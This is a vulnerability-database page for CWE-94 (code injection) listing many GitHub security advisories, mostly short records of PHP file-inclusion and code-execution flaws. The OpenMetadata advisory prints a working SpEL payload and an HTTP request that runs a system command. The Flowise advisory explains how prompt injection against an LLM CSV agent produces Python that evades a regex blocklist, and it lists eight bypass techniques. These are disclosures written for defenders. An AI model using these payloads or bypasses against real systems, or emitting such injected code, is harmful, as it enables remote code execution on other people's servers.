CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8629 vulnerabilities reference this CWE, most recent first.
GHSA-5XF4-H6X9-P739
Vulnerability from github – Published: 2022-05-02 03:15 – Updated: 2022-05-02 03:15PHP remote file inclusion vulnerability in includes/header.php in Groone GBook 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the abspath parameter.
{
"affected": [],
"aliases": [
"CVE-2009-0464"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-02-10T07:00:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in includes/header.php in Groone GBook 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the abspath parameter.",
"id": "GHSA-5xf4-h6x9-p739",
"modified": "2022-05-02T03:15:46Z",
"published": "2022-05-02T03:15:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0464"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/7955"
},
{
"type": "WEB",
"url": "http://osvdb.org/51716"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/33768"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/33578"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-5XG8-Q2V8-W6F8
Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34Arbitrary code execution vulnerability on Micro Focus ArcSight Logger product, affecting all version prior to 7.1.1. The vulnerability could be remotely exploited resulting in the execution of arbitrary code.
{
"affected": [],
"aliases": [
"CVE-2020-11851"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-17T02:15:00Z",
"severity": "CRITICAL"
},
"details": "Arbitrary code execution vulnerability on Micro Focus ArcSight Logger product, affecting all version prior to 7.1.1. The vulnerability could be remotely exploited resulting in the execution of arbitrary code.",
"id": "GHSA-5xg8-q2v8-w6f8",
"modified": "2022-05-24T17:34:23Z",
"published": "2022-05-24T17:34:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11851"
},
{
"type": "WEB",
"url": "https://community.microfocus.com/t5/Logger/Logger-Release-Notes-7-1-1/ta-p/2837600"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-5XGM-63RP-XWQV
Vulnerability from github – Published: 2022-05-01 07:24 – Updated: 2022-05-01 07:24PHP remote file inclusion vulnerability in admin/testing/tests/0004_init_urls.php in syntaxCMS 1.1.1 through 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the init_path parameter.
{
"affected": [],
"aliases": [
"CVE-2006-5055"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-09-28T00:07:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in admin/testing/tests/0004_init_urls.php in syntaxCMS 1.1.1 through 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the init_path parameter.",
"id": "GHSA-5xgm-63rp-xwqv",
"modified": "2022-05-01T07:24:33Z",
"published": "2022-05-01T07:24:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-5055"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29122"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/2424"
},
{
"type": "WEB",
"url": "http://marc.info/?l=full-disclosure\u0026m=115913461828660\u0026w=2"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1016914"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/20171"
},
{
"type": "WEB",
"url": "http://www.syntaxcms.org/content/article/detail/513"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/3760"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-5XJQ-6F2F-PGRR
Vulnerability from github – Published: 2022-05-17 00:42 – Updated: 2022-05-17 00:42Multiple PHP remote file inclusion vulnerabilities in the Recly Interactive Feederator (com_feederator) component 1.0.5 for Joomla! allow remote attackers to execute arbitrary PHP code via a URL in the (1) mosConfig_absolute_path parameter to (a) add_tmsp.php, (b) edit_tmsp.php and (c) tmsp.php in includes/tmsp/; and the (2) GLOBALS[mosConfig_absolute_path] parameter to (d) includes/tmsp/subscription.php.
{
"affected": [],
"aliases": [
"CVE-2008-5789"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-12-31T11:30:00Z",
"severity": "HIGH"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in the Recly Interactive Feederator (com_feederator) component 1.0.5 for Joomla! allow remote attackers to execute arbitrary PHP code via a URL in the (1) mosConfig_absolute_path parameter to (a) add_tmsp.php, (b) edit_tmsp.php and (c) tmsp.php in includes/tmsp/; and the (2) GLOBALS[mosConfig_absolute_path] parameter to (d) includes/tmsp/subscription.php.",
"id": "GHSA-5xjq-6f2f-pgrr",
"modified": "2022-05-17T00:42:53Z",
"published": "2022-05-17T00:42:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-5789"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46438"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/7040"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/4827"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32194"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-5XJW-36FW-5XM4
Vulnerability from github – Published: 2022-05-01 18:45 – Updated: 2022-05-01 18:45Extended Module Player (XMP) 2.5.1 and earlier allow remote attackers to execute arbitrary code via an OXM file with a negative value, which bypasses a check in (1) test_oxm and (2) decrunch_oxm functions in misc/oxm.c, leading to a buffer overflow.
{
"affected": [],
"aliases": [
"CVE-2007-6731"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-09-13T22:30:00Z",
"severity": "HIGH"
},
"details": "Extended Module Player (XMP) 2.5.1 and earlier allow remote attackers to execute arbitrary code via an OXM file with a negative value, which bypasses a check in (1) test_oxm and (2) decrunch_oxm functions in misc/oxm.c, leading to a buffer overflow.",
"id": "GHSA-5xjw-36fw-5xm4",
"modified": "2022-05-01T18:45:56Z",
"published": "2022-05-01T18:45:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6731"
},
{
"type": "WEB",
"url": "http://aluigi.altervista.org/adv/xmpbof-adv.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27047"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/0009"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-5XM4-PXV6-F5VR
Vulnerability from github – Published: 2022-05-01 07:12 – Updated: 2022-05-01 07:12PHP remote file inclusion vulnerability in order/index.php in IDevSpot (1) PhpHostBot 1.0 and (2) AutoHost 3.0 allows remote attackers to execute arbitrary PHP code via a URL in the page parameter.
{
"affected": [],
"aliases": [
"CVE-2006-3776"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-07-24T12:19:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in order/index.php in IDevSpot (1) PhpHostBot 1.0 and (2) AutoHost 3.0 allows remote attackers to execute arbitrary PHP code via a URL in the page parameter.",
"id": "GHSA-5xm4-pxv6-f5vr",
"modified": "2022-05-01T07:12:27Z",
"published": "2022-05-01T07:12:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-3776"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/27852"
},
{
"type": "WEB",
"url": "http://pridels0.blogspot.com/2006/07/phphostbot-remote-file-inclusion-vuln.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/21128"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/27411"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/19084"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/2899"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-5XM9-RF63-WJ7H
Vulnerability from github – Published: 2022-05-17 05:18 – Updated: 2022-07-13 17:56CRLF injection vulnerability in the logout functionality in VMware SpringSource Spring Security before 2.0.7 and 3.0.x before 3.0.6 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the spring-security-redirect parameter.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2011-2732"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-13T17:56:38Z",
"nvd_published_at": "2012-12-05T17:55:00Z",
"severity": "MODERATE"
},
"details": "CRLF injection vulnerability in the logout functionality in VMware SpringSource Spring Security before 2.0.7 and 3.0.x before 3.0.6 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the spring-security-redirect parameter.",
"id": "GHSA-5xm9-rf63-wj7h",
"modified": "2022-07-13T17:56:38Z",
"published": "2022-05-17T05:18:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-2732"
},
{
"type": "PACKAGE",
"url": "https://github.com/spring-projects/spring-security"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=677814"
},
{
"type": "WEB",
"url": "http://support.springsource.com/security/cve-2011-2732"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Improper Control of Generation of Code in Spring Security"
}
GHSA-5XRF-9RC2-JR45
Vulnerability from github – Published: 2022-05-01 18:30 – Updated: 2025-04-09 03:46Multiple PHP remote file inclusion vulnerabilities in FrontAccounting (FA) 1.13, when register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the path_to_root parameter to (1) access/login.php and (2) includes/lang/language.php, different vectors than CVE-2007-4279.
{
"affected": [],
"aliases": [
"CVE-2007-5117"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-09-27T17:17:00Z",
"severity": "HIGH"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in FrontAccounting (FA) 1.13, when register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the path_to_root parameter to (1) access/login.php and (2) includes/lang/language.php, different vectors than CVE-2007-4279.",
"id": "GHSA-5xrf-9rc2-jr45",
"modified": "2025-04-09T03:46:39Z",
"published": "2022-05-01T18:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5117"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/36796"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4456"
},
{
"type": "WEB",
"url": "http://arfis.wordpress.com/2007/09/14/rfi-02-frontaccounting"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/26962"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/25812"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-5XV3-FM7G-865R
Vulnerability from github – Published: 2024-04-24 17:06 – Updated: 2024-04-24 17:06SpEL Injection in GET /api/v1/policies/validation/condition/<expr> (GHSL-2023-236)
Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.
The CompiledRule::validateExpression method evaluates an SpEL expression using an StandardEvaluationContext, allowing the expression to reach and interact with Java classes such as java.lang.Runtime, leading to Remote Code Execution. The /api/v1/policies/validation/condition/<expression> endpoint passes user-controlled data CompiledRule::validateExpession allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.
Snippet from PolicyResource.java
@GET
@Path("/validation/condition/{expression}")
@Operation(
operationId = "validateCondition",
summary = "Validate a given condition",
description = "Validate a given condition expression used in authoring rules.",
responses = {
@ApiResponse(responseCode = "204", description = "No value is returned"),
@ApiResponse(responseCode = "400", description = "Invalid expression")
})
public void validateCondition(
@Context UriInfo uriInfo,
@Context SecurityContext securityContext,
@Parameter(description = "Expression of validating rule", schema = @Schema(type = "string"))
@PathParam("expression")
String expression) {
CompiledRule.validateExpression(expression, Boolean.class);
}
public static <T> void validateExpression(String condition, Class<T> clz) {
if (condition == null) {
return;
}
Expression expression = parseExpression(condition);
RuleEvaluator ruleEvaluator = new RuleEvaluator();
StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
try {
expression.getValue(evaluationContext, clz);
} catch (Exception exception) {
// Remove unnecessary class details in the exception message
String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
}
}
In addition, there is a missing authorization check since Authorizer.authorize() is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.
This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.
Proof of concept
- Prepare the payload
- Encode
touch /tmp/pwnedin Base64 =>dG91Y2ggL3RtcC9wd25lZA== - SpEL expression to run system command:
T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA=="))) - Encode the payload using URL encoding:
- Encode
%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29
- Send the payload using a valid JWT token:
GET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2
Host: sandbox.open-metadata.org
Authorization: Bearer <non-admin JWT>
- Verify that a file called
/tmp/pwnedwas created in the OpenMetadata server
Impact
This issue may lead to Remote Code Execution by a registered and authenticated user.
Remediation
Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.open-metadata:openmetadata-service"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28848"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T17:06:02Z",
"nvd_published_at": "2024-03-15T20:15:10Z",
"severity": "HIGH"
},
"details": "### SpEL Injection in `GET /api/v1/policies/validation/condition/\u003cexpr\u003e` (`GHSL-2023-236`)\n\n***Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.***\n\nThe [`\u200eCompiledRule::validateExpression`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51) method evaluates an SpEL expression using an [`StandardEvaluationContext`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57), allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution. The `/api/v1/policies/validation/condition/\u003cexpression\u003e` endpoint passes user-controlled data `CompiledRule::validateExpession` allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.\n\n[Snippet from PolicyResource.java](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L448)\n\n```java\n @GET\n @Path(\"/validation/condition/{expression}\")\n @Operation(\n operationId = \"validateCondition\",\n summary = \"Validate a given condition\",\n description = \"Validate a given condition expression used in authoring rules.\",\n responses = {\n @ApiResponse(responseCode = \"204\", description = \"No value is returned\"),\n @ApiResponse(responseCode = \"400\", description = \"Invalid expression\")\n })\n public void validateCondition(\n @Context UriInfo uriInfo,\n @Context SecurityContext securityContext,\n @Parameter(description = \"Expression of validating rule\", schema = @Schema(type = \"string\"))\n @PathParam(\"expression\")\n String expression) {\n CompiledRule.validateExpression(expression, Boolean.class);\n }\n```\n\n```java\n public static \u003cT\u003e void validateExpression(String condition, Class\u003cT\u003e clz) {\n if (condition == null) {\n return;\n }\n Expression expression = parseExpression(condition);\n RuleEvaluator ruleEvaluator = new RuleEvaluator();\n StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);\n try {\n expression.getValue(evaluationContext, clz);\n } catch (Exception exception) {\n // Remove unnecessary class details in the exception message\n String message = exception.getMessage().replaceAll(\"on type .*$\", \"\").replaceAll(\"on object .*$\", \"\");\n throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));\n }\n }\n```\n\nIn addition, there is a missing authorization check since `Authorizer.authorize()` is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.\n\nThis vulnerability was discovered with the help of CodeQL\u0027s [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.\n#### Proof of concept\n\n- Prepare the payload\n\t- Encode `touch /tmp/pwned` in Base64 =\u003e `dG91Y2ggL3RtcC9wd25lZA==`\n\t- SpEL expression to run system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode(\"dG91Y2ggL3RtcC9wd25lZA==\")))`\n\t- Encode the payload using URL encoding:\n```\n%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29\n```\n\n- Send the payload using a valid JWT token:\n```http\nGET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2\nHost: sandbox.open-metadata.org\nAuthorization: Bearer \u003cnon-admin JWT\u003e\n```\n- Verify that a file called `/tmp/pwned` was created in the OpenMetadata server\n#### Impact\n\nThis issue may lead to Remote Code Execution by a registered and authenticated user.\n\n#### Remediation\n\nUse [`SimpleEvaluationContext`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) to exclude *references to Java types, constructors, and bean references*.",
"id": "GHSA-5xv3-fm7g-865r",
"modified": "2024-04-24T17:06:02Z",
"published": "2024-04-24T17:06:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-5xv3-fm7g-865r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28848"
},
{
"type": "WEB",
"url": "https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-metadata/OpenMetadata"
},
{
"type": "WEB",
"url": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51"
},
{
"type": "WEB",
"url": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57"
},
{
"type": "ADVISORY",
"url": "https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenMetadata vulnerable to a SpEL Injection in `GET /api/v1/policies/validation/condition/\u003cexpr\u003e` (`GHSL-2023-236`)"
}
GHSA-5XVG-PMGG-3MXR
Vulnerability from github – Published: 2026-08-04 19:29 – Updated: 2026-08-04 19:29-- ABSTRACT -------------------------------------
Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: Flowise - Flowise
-- VULNERABILITY DETAILS ------------------------ * Version tested: 3.1.1 * Installer file: https://github.com/FlowiseAI/Flowise (npm install flowise@3.1.1) * Platform tested: Ubuntu 25.10
A prompt injection sent to a chatflow using a CSV Agent node can cause the LLM to respond with a malicious Python script that bypasses the blocklist validator and executes in an unsandboxed pyodide environment. An attacker can leverage this to execute arbitrary code in the context of the user running the server.
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Flowise. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the run method of the CSV_Agents class. The issue results from insufficient input sanitization when using untrusted data to construct an LLM prompt. An attacker can leverage this vulnerability to execute code in the context of the service account.
Analysis
When a user makes a query against a chatflow using the CSV Agent node, the run method of the CSV_Agents class is called. This method reads the CSV file, loads a pyodide environment, and uses pandas to extract column names and data types into a dictionary. It then constructs a system prompt using that dictionary and the user's input, and sends this prompt to a configured LLM. The LLM response is stored in a variable named pythonCode. The method then attempts to validate this value using validatePythonCodeForDataFrame from packages/components/src/pythonCodeValidator.ts before evaluating it in pyodide.
The validator relies on a static regex blocklist. It can be bypassed using obfuscation techniques including string concatenation to reconstruct forbidden identifiers, chr() encoding, aliasing of dangerous builtins, __getattribute__ with concatenated attribute names, frame object inspection, MRO traversal, df.query() expression evaluation, and decorator syntax to invoke exec indirectly. Furthermore, pyodide is not sandboxed from the host operating system, so any Python code that passes the validator is executed with full access to OS interfaces.
From packages/components/nodes/agents/CSVAgent/CSVAgent.ts:
let pythonCode = ''
if (dataframeColDict) {
const chain = new LLMChain({
llm: model,
prompt: PromptTemplate.fromTemplate(systemPrompt),
verbose: process.env.DEBUG === 'true' ? true : false
})
const inputs = {
dict: dataframeColDict,
question: input // user-controlled input substituted into prompt
}
const res = await chain.call(inputs, [loggerHandler, ...callbacks])
pythonCode = res?.text // LLM response assigned to pythonCode
pythonCode = pythonCode.replace(/^```[a-z]+\n|\n```$/gm, '')
}
let finalResult = ''
if (pythonCode) {
const validation = validatePythonCodeForDataFrame(pythonCode) // blocklist validation applied
if (!validation.valid) {
throw new Error(
`Generated code was rejected for security reasons (${
validation.reason ?? 'unsafe construct'
}). Please rephrase your question to use only pandas DataFrame operations.`
)
}
try {
const code = `import pandas as pd\nimport numpy as np\n${pythonCode}`
finalResult = await pyodide.runPythonAsync(code) // executed in unsandboxed pyodide
} catch (error) {
throw new Error(`Sorry, I'm unable to find answer for question: "${input}" using following code: "${pythonCode}"`)
}
}
An unauthenticated attacker with the ability to send prompts to a chatflow using the CSV Agent node may use prompt injection to cause the LLM to respond with a malicious Python script. An authenticated attacker may instead configure a chatflow that points to an attacker-controlled server, which responds to LLM requests with an attacker-controlled Python payload, bypassing the LLM entirely.
Eight bypass variants were demonstrated against the validator:
| Variant | Technique | Bypasses |
|---|---|---|
| 0 | @exec decorator with string-concatenated __import__ |
/\bexec\s*\(/, /\b__import__\s*\(/ |
| 1 | eval aliased to a variable, payload chr()-encoded |
/\beval\s*\(/, /\bimport\b/ |
| 2 | df.query() with chr()-encoded @__builtins__.__import__ |
/\b__builtins__\b/, /\b__import__\s*\(/ |
| 3 | MRO traversal + __getattribute__ + __subclasses__ -> BuiltinImporter.load_module |
/\b__class__\b/, /\b__subclasses__\s*\(/, /\b__mro__\b/ |
| 4 | Generator frame inspection via gi_frame.f_globals['__loader__'] |
/\b__loader__\b/, /\b__globals__\b/ |
| 5 | Exception traceback frame walk to f_builtins['__import__'] |
/\b__globals__\b/, /\b__import__\s*\(/ |
| 6 | __build_class__.__self__.__getattribute__('__import__') |
/\b__import__\s*\(/ |
| 7 | vars aliased to a variable, __builtins__ accessed via dict key |
/\bvars\s*\(/, /\b__builtins__\b/, /\b__import__\s*\(/ |
Repro
The proof of concept (poc.py) has three modes of operation:
mode = "server": Starts a malicious server that responds to "/api/chat" requests with a JSON object containing an LLM response with the selected attack payload.
mode = "chatflow": Authenticates to the Flowise server, creates a chatflow with a CSV Agent node configured to use a ChatOllama model pointed at the malicious server, and triggers a prediction to execute the payload.
mode = "prompt_injection": Sends a prompt injection payload directly to an existing chatflow's prediction endpoint. Due to the nature of LLM responses, it may take multiple attempts or require a different injection technique depending on the model used.
python3 poc.py --mode [server OR chatflow OR prompt_injection] [--user <USER> --passwd <PASSWORD> --host <HOST> --r_host <R_HOST> --r_port <R_PORT> --l_port <L_PORT> --port <PORT> --cmd <CMD> --attack <ATTACK> --chatflow_id <CHAT_ID>]
-- CREDIT --------------------------------------- This vulnerability was discovered by: Dre Cura (@dre_cura) of TrendAI Research
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-70477"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T19:29:26Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "-- ABSTRACT -------------------------------------\n\nTrend Micro\u0027s Zero Day Initiative has identified a vulnerability affecting the following products:\nFlowise - Flowise\n\n-- VULNERABILITY DETAILS ------------------------\n* Version tested: 3.1.1\n* Installer file: https://github.com/FlowiseAI/Flowise (npm install flowise@3.1.1)\n* Platform tested: Ubuntu 25.10\n\n---\n\nA prompt injection sent to a chatflow using a CSV Agent node can cause the LLM to respond with a malicious Python script that bypasses the blocklist validator and executes in an unsandboxed pyodide environment. An attacker can leverage this to execute arbitrary code in the context of the user running the server.\n\n```\nThis vulnerability allows remote attackers to execute arbitrary code on affected installations of Flowise. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the run method of the CSV_Agents class. The issue results from insufficient input sanitization when using untrusted data to construct an LLM prompt. An attacker can leverage this vulnerability to execute code in the context of the service account.\n```\n\n### Analysis\n\nWhen a user makes a query against a chatflow using the CSV Agent node, the `run` method of the `CSV_Agents` class is called. This method reads the CSV file, loads a pyodide environment, and uses pandas to extract column names and data types into a dictionary. It then constructs a system prompt using that dictionary and the user\u0027s input, and sends this prompt to a configured LLM. The LLM response is stored in a variable named `pythonCode`. The method then attempts to validate this value using `validatePythonCodeForDataFrame` from `packages/components/src/pythonCodeValidator.ts` before evaluating it in pyodide.\n\nThe validator relies on a static regex blocklist. It can be bypassed using 